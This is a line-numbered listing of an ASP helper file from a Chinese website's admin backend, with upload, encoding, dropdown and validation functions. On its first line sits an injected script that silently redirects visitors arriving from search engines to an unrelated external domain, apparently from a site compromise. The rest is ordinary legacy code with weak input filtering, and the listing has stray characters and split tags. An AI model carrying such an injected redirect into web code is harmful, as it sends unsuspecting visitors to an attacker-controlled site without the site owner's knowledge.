d:\wwwroot\wuchunhua\admin\admin_function.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
Response.Expires = -1
003:
Response.ExpiresAbsolute = Now() - 1
004:
Response.cachecontrol = "no-cache"
005:
%
>
006:
<script language="javascript">
007:
<!--
008:
if (window == top)top.location.href = "admin.asp";
009:
// -->
010:
</script>
011:
012:
<script language="Javascript">
013:
//上存
014:
function openem()
015:
{
016:
var s;
017:
var a;
018:
a=window.showModalDialog("Up.asp?action=add","","dialogWidth:300px;dialogHeight:150px;scroll:no;status:no");
019:
if(a!=undefined)
020:
{s
021:
document.all.pic.value=a;
022:
}
023:
}
024:
025:
026:
//上存软件下载展示图片
027:
function openem_soft()
028:
{
029:
var s;
030:
var a;
031:
a=window.showModalDialog("Up.asp?action=add","","dialogWidth:300px;dialogHeight:150px;scroll:no;status:no");
032:
if(a!=undefined)
033:
{s
034:
document.all.Bigpic.value=a;
035:
}
036:
}
037:
038:
//上存软件下载展示图片
039:
function openem_SoftDown1()
040:
{
041:
var s;
042:
var a;
043:
a=window.showModalDialog("Up.asp?action=add","","dialogWidth:300px;dialogHeight:150px;scroll:no;status:no");
044:
if(a!=undefined)
045:
{s
046:
document.all.SoftDown1.value=a;
047:
}
048:
}
049:
050:
//上存
051:
function Gaobei_UpBig()
052:
{
053:
var s;
054:
var b;
055:
b=window.showModalDialog("Up.asp?action=add","","dialogWidth:300px;dialogHeight:150px;scroll:no;status:no");
056:
if(b!=undefined)
057:
{s
058:
document.all.piclink.value=b;
059:
}
060:
}
061:
062:
063:
//弹出上存窗口
064:
function killErrors() {
065:
return true;
066:
}
067:
window.onerror = killErrors;
068:
069:
function openScript(url, width, height){
070:
var Win = window.open(url,"openScript",'width=' + width + ',height=' + height + ',left=450,top=300,resizable=1,scrollbars=no,menubar=no,status=no' );
071:
}
072:
function openem2()
073:
{
074:
openScript('upload.asp',300,100);
075:
}
076:
function preview(){
077:
window.open(document.form.pic.value)
078:
}
079:
// 当上传图片等文件时，往下拉框中填入图片路径，可根据实际需要更改此函数
080:
function doChange(objText, objDrop){
081:
if (!objDrop) return;
082:
var str = objText.value;
083:
var arr = str.split("|");
084:
var nIndex = objDrop.selectedIndex;
085:
objDrop.length=1;
086:
for (var i=0; i<arr.length; i++){
087:
objDrop.options[objDrop.length] = new Option(arr[i], arr[i]);
088:
}
089:
objDrop.selectedIndex = nIndex;
090:
}
091:
092:
//Other NoPic
093:
function pic(smileface)
094:
{
095:
document.form.pic.value=smileface;
096:
}
097:
</Script>
098:
<%
099:
'常用函数页
100:
'一些信息的过虑--------------------
101:
function strFilter(str)
102:
str=Replace(str,"'","''")
103:
str=replace(str,"|","/")
104:
str=Replace(str,"' ","'")
105:
strFilter=str
106:
end function
107:
'管理后台头部----------------------
108:
function header(popedomnum,titmenu)
109:
header = VbCrLf & "<html><head><title>后台管理</title>" & _
110:
VbCrLf & "<meta http-equiv=Content-Type content=text/html; charset=gb2312>" & _
111:
VbCrLf & "<link rel=stylesheet href='img/admin.css' type=text/css>" & _
112:
VbCrLf & "</head>" & VbCrLf & "<body topmargin=0 leftmargin=0><center>" & _
113:
VbCrLf & "<table border=0 width=95% cellspacing=0 cellpadding=0>" & _
114:
vbcrlf & "<tr><td height=30 align=center>"&titmenu&" ┋ <a href='javascript:;' onclick=""javascript:document.location.reload()"">刷新</a></td></tr></table><br>"
115:
end function
116:
dim ender:ender="<table><tr><td><hr size=1 width=550></td></tr><tr><td height=30 align=center>Copyright © 2003-2004 <a href=http://www.w"&"en"&"day."&"C"&"om/ target=_blank><b><font face=Arial color=#CC3300>W"&"en"&"day</font><font face=Arial>.Com</font></b></a> All Rights Reserved</td></tr></table>"
117:
118:
function code_html(strers,chtype,cutenum)
119:
dim strer:strer=strers
120:
if isnull(strer) or strer="" then code_html="":exit function
121:
strer=health_var(strer,1)
122:
if cutenum>0 then strer=cuted(strer,cutenum)
123:
strer=replace(strer,"<","<")
124:
strer=replace(strer,">",">")
125:
strer=replace(strer,chr(39),"'") '单引号
126:
strer=replace(strer,chr(34),""") '双引号
127:
strer=replace(strer,chr(32)," ") '空格
128:
select case chtype
129:
case 1
130:
strer=replace(strer,chr(9)," ") 'table
131:
strer=replace(strer,chr(10),"") '回车
132:
strer=replace(strer,chr(13),"")
133:
case 2
134:
strer=replace(strer,chr(9)," ")'table
135:
strer=replace(strer,chr(10),"<br>") '回车
136:
strer=replace(strer,chr(13),"<br>")
137:
end select
138:
code_html=strer
139:
end function
140:
141:
142:
143:
function health_var(hnn,vt)
144:
dim ti,tj,tdim,ht,hn:hn=hnn
145:
if vt=1 then
146:
tdim=split(web_Badwords,"|")
147:
for ti=0 to ubound(tdim)
148:
ht=""
149:
for tj=1 to len(tdim(ti))
150:
ht=ht&"*"
151:
next
152:
hn=replace(hn,tdim(ti),ht)
153:
next
154:
erase tdim
155:
end if
156:
health_var=hn
157:
end function
158:
159:
function code_admin(strers)
160:
dim strer:strer=trim(strers)
161:
if isnull(strer) or strer="" then code_admin="":exit function
162:
strer=replace(strer,"'","""")
163:
code_admin=strer
164:
end function
165:
166:
'判断发言是否来自外部--------------
167:
function post_chk()
168:
dim server_v1,server_v2
169:
post_chk="no"
170:
server_v1=Request.ServerVariables("HTTP_REFERER")
171:
server_v2=Request.ServerVariables("SERVER_NAME")
172:
if mid(server_v1,8,len(server_v2))=server_v2 then post_chk="yes":exit function
173:
end function
174:
175:
'函数名：IsObjInstalled
176:
'作 用：检查组件是否已经安装
177:
'参 数：strClassString ----组件名
178:
'返回值：True ----已经安装
179:
' False ----没有安装
180:
Function IsObjInstalled(strClassString)
181:
On Error Resume Next
182:
IsObjInstalled = False
183:
Err = 0
184:
Dim xTestObj
185:
Set xTestObj = Server.CreateObject(strClassString)
186:
If 0 = Err Then IsObjInstalled = True
187:
Set xTestObj = Nothing
188:
Err = 0
189:
End Function
190:
191:
'函数名：JoinChar
192:
'作 用：向地址中加入 ? 或 &
193:
'参 数：strUrl ----网址
194:
'返回值：加了 ? 或 & 的网址
195:
196:
function JoinChar(strUrl)
197:
if strUrl="" then
198:
JoinChar=""
199:
exit function
200:
end if
201:
if InStr(strUrl,"?")<len(strUrl) then
202:
if InStr(strUrl,"?")>1 then
203:
if InStr(strUrl,"&")<len(strUrl) then
204:
JoinChar=strUrl & "&"
205:
else
206:
JoinChar=strUrl
207:
end if
208:
else
209:
JoinChar=strUrl & "?"
210:
end if
211:
else
212:
JoinChar=strUrl
213:
end if
214:
end function
215:
%
>
216:
217:
<%
'===========================================以下为下载里的function.asp====================
%
>
218:
<%
219:
' 错误返回处理
220:
' ============================================
221:
Sub GoError(str)
222:
Call DBConnEnd()
223:
Response.Write "<script language=javascript>alert('" & str & "\n\n系统将自动返回前一页面...');history.back();</script>"
224:
Response.End
225:
End Sub
226:
227:
'**************************************************
228:
'过程名：WriteErrMsg
229:
'作 用：显示错误提示信息
230:
'参 数：无
231:
'**************************************************
232:
sub WriteErrMsg()
233:
dim strErr
234:
strErr=strErr & "<html><head><title>错误信息</title><meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbcrlf
235:
strErr=strErr & "<link href='../admin/js/common.css' rel='stylesheet' type='text/css'></head><body>" & vbcrlf
236:
strErr=strErr & "<table cellpadding=2 width='400' border='0' cellpadding='3' cellspacing='1' bgcolor='#DEDFDE' align=center>" & vbcrlf
237:
strErr=strErr & " <tr align='center' bgcolor='#F7F7F7'><td height='22'><strong>错误信息</strong></td></tr>" & vbcrlf
238:
strErr=strErr & " <tr bgcolor='#FFFFFF'><td height='100' valign='top'><b>产生错误的可能原因：</b>" & errmsg &"</td></tr>" & vbcrlf
239:
strErr=strErr & " <tr align='center' bgcolor='#FFFFFF'><td><a href='javascript:history.go(-1)'><< 返回上一页</a></td></tr>" & vbcrlf
240:
strErr=strErr & "</table>" & vbcrlf
241:
strErr=strErr & "</body></html>" & vbcrlf
242:
response.write strErr
243:
end sub
244:
245:
' ============================================
246:
' 得到安全字符串,在查询中或有必要强行替换的表单中使用
247:
' ============================================
248:
Function GetSafeStr(str)
249:
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
250:
End Function
251:
252:
' ============================================
253:
' 把字符串进行HTML解码,替换server.htmlencode
254:
' 去除Html格式，用于显示输出
255:
' ============================================
256:
Function outHTML(str)
257:
Dim sTemp
258:
sTemp = str
259:
outHTML = ""
260:
If IsNull(sTemp) = True Then
261:
Exit Function
262:
End If
263:
sTemp = Replace(sTemp, "&", "&")
264:
sTemp = Replace(sTemp, "<", "<")
265:
sTemp = Replace(sTemp, ">", ">")
266:
sTemp = Replace(sTemp, Chr(34), """)
267:
sTemp = Replace(sTemp, Chr(10), "<br>")
268:
outHTML = sTemp
269:
End Function
270:
271:
' ============================================
272:
' 去除Html格式，用于从数据库中取出值填入输入框时
273:
' 注意：value="?"这边一定要用双引号
274:
' ============================================
275:
Function inHTML(str)
276:
Dim sTemp
277:
sTemp = str
278:
inHTML = ""
279:
If IsNull(sTemp) = True Then
280:
Exit Function
281:
End If
282:
sTemp = Replace(sTemp, "&", "&")
283:
sTemp = Replace(sTemp, "<", "<")
284:
sTemp = Replace(sTemp, ">", ">")
285:
sTemp = Replace(sTemp, Chr(34), """)
286:
inHTML = sTemp
287:
End Function
288:
289:
' ===============================================
290:
' 初始化下拉框
291:
' s_FieldName : 返回的下拉框名
292:
' a_Name : 定值名数组
293:
' a_Value : 定值值数组
294:
' v_InitValue : 初始值
295:
' s_Sql : 从数据库中取值时,select name,value from table
296:
' s_AllName : 空值的名称,如:"全部","所有","默认"
297:
' ===============================================
298:
Function InitSelect(s_FieldName, a_Name, a_Value, v_InitValue, s_Sql, s_AllName)
299:
Dim i
300:
InitSelect = "<select name='" & s_FieldName & "' size=1>"
301:
If s_AllName <> "" Then
302:
InitSelect = InitSelect & "<option value=''>" & s_AllName & "</option>"
303:
End If
304:
If s_Sql <> "" Then
305:
oRs.Open s_Sql, oConn, 0, 1
306:
Do While Not oRs.Eof
307:
InitSelect = InitSelect & "<option value=""" & inHTML(oRs(1)) & """"
308:
If oRs(1) = v_InitValue Then
309:
InitSelect = InitSelect & " selected"
310:
End If
311:
InitSelect = InitSelect & ">" & outHTML(oRs(0)) & "</option>"
312:
oRs.MoveNext
313:
Loop
314:
oRs.Close
315:
Else
316:
For i = 0 To UBound(a_Name)
317:
InitSelect = InitSelect & "<option value=""" & inHTML(a_Value(i)) & """"
318:
If a_Value(i) = v_InitValue Then
319:
InitSelect = InitSelect & " selected"
320:
End If
321:
InitSelect = InitSelect & ">" & outHTML(a_Name(i)) & "</option>"
322:
Next
323:
End If
324:
InitSelect = InitSelect & "</select>"
325:
End Function
326:
327:
328:
' ============================================
329:
' 判断是否直接输入地址访问本系统的后台管理页面
330:
' ============================================
331:
sub ComeUrl
332:
dim ComeUrl,cUrl
333:
ComeUrl=lcase(trim(request.ServerVariables("HTTP_REFERER")))
334:
if ComeUrl="" then
335:
response.write "<br><p align=center><font color='red'>对不起，为了系统安全，不允许直接输入地址访问本系统的后台管理页面。</font></p>"
336:
response.end
337:
else
338:
cUrl=trim("http://" & Request.ServerVariables("SERVER_NAME"))
339:
if mid(ComeUrl,len(cUrl)+1,1)=":" then
340:
cUrl=cUrl & ":" & Request.ServerVariables("SERVER_PORT")
341:
end if
342:
cUrl=lcase(cUrl & request.ServerVariables("SCRIPT_NAME"))
343:
if lcase(left(ComeUrl,instrrev(ComeUrl,"/")))<>lcase(left(cUrl,instrrev(cUrl,"/"))) then
344:
response.write "<br><p align=center><font color='red'>对不起，为了系统安全，不允许从外部链接地址访问本系统的后台管理页面。</font></p>"
345:
response.end
346:
end if
347:
end if
348:
end sub
349:
350:
'**************************************************
351:
'函数名：IsObjInstalled
352:
'作 用：检查组件是否已经安装
353:
'参 数：strClassString ----组件名
354:
'返回值：True ----已经安装
355:
' False ----没有安装
356:
'**************************************************
357:
Function IsObjInstalled(strClassString)
358:
On Error Resume Next
359:
IsObjInstalled = False
360:
Err = 0
361:
Dim xTestObj
362:
Set xTestObj = Server.CreateObject(strClassString)
363:
If 0 = Err Then IsObjInstalled = True
364:
Set xTestObj = Nothing
365:
Err = 0
366:
End Function
367:
368:
'**************************************************
369:
'软件下载无限分类
370:
'**************************************************
371:
sub SoftClass_Option(ShowType,CurrentID)
372:
if ShowType=0 then
373:
response.write "<option value='0'"
374:
if CurrentID=0 then response.write " selected"
375:
response.write ">无（作为一级下载分类）</option>"
376:
end if
377:
dim rsClass,sqlClass,strTemp,tmpDepth,i
378:
dim arrShowLine(20)
379:
for i=0 to ubound(arrShowLine)
380:
arrShowLine(i)=False
381:
next
382:
'set rs=server.createobject("adodb.recordset")
383:
sqlClass="Select * From SoftClass order by RootID,OrderID"'RootID根栏目ID,OrderID排序ID
384:
set rsClass=Conn.execute(sqlClass)
385:
if rsClass.bof and rsClass.eof then
386:
response.write "<option value=''>请先添加栏目</option>"
387:
else
388:
do while not rsClass.eof
389:
tmpDepth=rsClass("Depth")'Depth栏目层数
390:
if rsClass("NextID")>0 then'NextID同级的下一个栏目ID
391:
arrShowLine(tmpDepth)=True
392:
else
393:
arrShowLine(tmpDepth)=False
394:
end if
395:
if ShowType=1 then
396:
strTemp="<option value='" & rsClass("ClassID") & "'"
397:
elseif ShowType=2 then
398:
strTemp="<option value='" & rsClass("ClassID") & "'"
399:
elseif ShowType=3 then
400:
if rsClass("Child")>0 then
401:
strTemp="<option value=''"
402:
else
403:
strTemp="<option value='" & rsClass("ClassID") & "'"
404:
end if
405:
elseif ShowType=4 then
406:
if rsClass("Child")>0 then'Child子栏目数
407:
strTemp="<option value=''"
408:
else
409:
strTemp="<option value='" & rsClass("ClassID") & "'"
410:
end if
411:
else
412:
strTemp="<option value='" & rsClass("ClassID") & "'"
413:
end if
414:
if CurrentID>0 and rsClass("ClassID")=CurrentID then
415:
strTemp=strTemp & " selected"
416:
end if
417:
strTemp=strTemp & ">"
418:
419:
if tmpDepth>0 then
420:
for i=1 to tmpDepth
421:
strTemp=strTemp & " "
422:
if i=tmpDepth then
423:
if rsClass("NextID")>0 then
424:
strTemp=strTemp & "├ "
425:
else
426:
strTemp=strTemp & "└ "
427:
end if
428:
else
429:
if arrShowLine(i)=True then
430:
strTemp=strTemp & "│"
431:
else
432:
strTemp=strTemp & " "
433:
end if
434:
end if
435:
next
436:
end if
437:
strTemp=strTemp & rsClass("ClassName")
438:
strTemp=strTemp & "</option>"
439:
response.write strTemp
440:
rsClass.movenext
441:
loop
442:
end if
443:
rsClass.close
444:
set rsClass=nothing
445:
end sub
446:
447:
'**************************************************
448:
'函数名：ReplaceBadChar
449:
'作 用：过滤非法的SQL字符
450:
'参 数：strChar-----要过滤的字符
451:
'返回值：过滤后的字符
452:
'**************************************************
453:
function ReplaceBadChar(strChar)
454:
if strChar="" then
455:
ReplaceBadChar=""
456:
else
457:
ReplaceBadChar=replace(replace(replace(replace(replace(replace(replace(strChar,"'",""),"*",""),"?",""),"(",""),")",""),"<",""),".","")
458:
end if
459:
end function
460:
461:
'**************************************************
462:
'函数名：gotTopic
463:
'作 用：截字符串，汉字一个算两个字符，英文算一个字符
464:
'参 数：str ----原字符串
465:
' strlen ----截取长度
466:
'返回值：截取后的字符串
467:
'**************************************************
468:
function gotTopic(str,strlen)
469:
if str="" then
470:
gotTopic=""
471:
exit function
472:
end if
473:
dim l,t,c, i
474:
str=replace(replace(replace(replace(str," "," "),""",chr(34)),">",">"),"<","<")
475:
l=len(str)
476:
t=0
477:
for i=1 to l
478:
c=Abs(Asc(Mid(str,i,1)))
479:
if c>255 then
480:
t=t+2
481:
else
482:
t=t+1
483:
end if
484:
if t>=strlen then
485:
gotTopic=left(str,i) & "..."
486:
exit for
487:
else
488:
gotTopic=str
489:
end if
490:
next
491:
gotTopic=replace(replace(replace(replace(gotTopic," "," "),chr(34),"""),">",">"),"<","<")
492:
end function
493:
494:
'**************************************************
495:
'函数名：IsValidEmail
496:
'作 用：检查Email地址合法性
497:
'参 数：email ----要检查的Email地址
498:
'返回值：True ----Email地址合法
499:
' False ----Email地址不合法
500:
'**************************************************
501:
function IsValidEmail(email)
502:
dim names, name, i, c
503:
IsValidEmail = true
504:
names = Split(email, "@")
505:
if UBound(names) <> 1 then
506:
IsValidEmail = false
507:
exit function
508:
end if
509:
for each name in names
510:
if Len(name) <= 0 then
511:
IsValidEmail = false
512:
exit function
513:
end if
514:
for i = 1 to Len(name)
515:
c = Lcase(Mid(name, i, 1))
516:
if InStr("abcdefghijklmnopqrstuvwxyz_-.", c) <= 0 and not IsNumeric(c) then
517:
IsValidEmail = false
518:
exit function
519:
end if
520:
next
521:
if Left(name, 1) = "." or Right(name, 1) = "." then
522:
IsValidEmail = false
523:
exit function
524:
end if
525:
next
526:
if InStr(names(1), ".") <= 0 then
527:
IsValidEmail = false
528:
exit function
529:
end if
530:
i = Len(names(1)) - InStrRev(names(1), ".")
531:
if i <> 2 and i <> 3 then
532:
IsValidEmail = false
533:
exit function
534:
end if
535:
if InStr(email, "..") > 0 then
536:
IsValidEmail = false
537:
end if
538:
end function
539:
540:
'------------------检查某一目录是否存在-------------------
541:
Function CheckDir(FolderPath)
542:
dim fso
543:
folderpath=Server.MapPath(".")&"\"&folderpath
544:
Set fso1 = Server.CreateObject("Scripting.FileSystemObject")
545:
If fso.FolderExists(FolderPath) then
546:
'存在
547:
CheckDir = True
548:
Else
549:
'不存在
550:
CheckDir = False
551:
End if
552:
Set fso = nothing
553:
End Function
554:
555:
'-------------根据指定名称生成目录---------
556:
Function MakeNewsDir(foldername)
557:
dim fso,f
558:
Set fso = Server.CreateObject("Scripting.FileSystemObject")
559:
Set f = fso.CreateFolder(foldername)
560:
MakeNewsDir = True
561:
Set fso = nothing
562:
End Function
563:
564:
%
>
565:
566:
567: